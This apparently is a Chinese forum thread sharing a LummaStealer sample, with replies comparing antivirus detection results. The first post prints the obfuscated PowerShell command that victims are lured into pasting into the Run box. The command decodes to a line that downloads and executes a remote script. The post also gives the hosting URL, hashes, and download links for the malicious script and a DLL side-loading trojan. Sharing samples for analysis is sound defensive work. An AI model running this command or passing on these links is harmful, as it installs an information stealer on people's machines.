LummaStealer 1X

显示全部楼层 · 发表于 2024-11-24 15:41:48

本帖最后由 wwwab 于 2024-11-24 15:42 编辑

LummaStealer诱导用户Ctrl+C Win+R Ctrl+V执行的命令:

poWERSHell, -w HiDden
"[Text.Encoding]:UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3lgJ2h0dHBzOi8vbmV3NjQub3NzLWFwLXNvdXRoZWFzdC0xLmFsaXl1bmNzLmNvbS9
HcUhRV05Ndi50eHQnlC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ="))｜iex

复制代码

对象存储挂载恶意PowerShell脚本URL: https[:]//new64.oss-ap-southeast-1.aliyuncs.com/GqHQWNMv.txt

恶意ps1脚本 (f8278fe32a0916f85bd703aa8975d4e559466ee96a188f68bd2a2816fdbb18a8):
下载1: https://pan.huang1111.cn/s/y59RqC6
下载2: https://pan.xiaomuxi.cn/s/B0jksW
下载3(24h): https://x.ws28.cn/f/fnar4txeztt

释放的zip中包含白加黑
黑dll: "sqlite3.dll" (122832363d76517995cd67be7261bbb9ca9964014461d7630084682a594ce145)，VirusTotal 3
related: "uxp" "wdwsnvt"

白加黑木马:
下载1: https://pan.huang1111.cn/s/P6j83Cm
下载2: https://pan.xiaomuxi.cn/s/wmo0Hm
下载3 (24h): https://x.ws28.cn/f/fnar4txeztt

显示全部楼层 · 发表于 2024-11-24 20:26:46

黑dll卡巴未检出

显示全部楼层 · 发表于 2024-11-24 22:02:07

金山毒霸扫描miss

显示全部楼层 · 发表于 2024-11-24 22:41:17

腾讯电脑管家 miss

显示全部楼层 · 发表于 2024-11-25 11:36:57

迈克菲扫描 miss

显示全部楼层 · 发表于 2024-11-27 17:14:10

本帖最后由 yaokai815 于 2024-11-28 11:31 编辑

火绒 1x 360 瑞星均0x

[病毒样本] LummaStealer 1X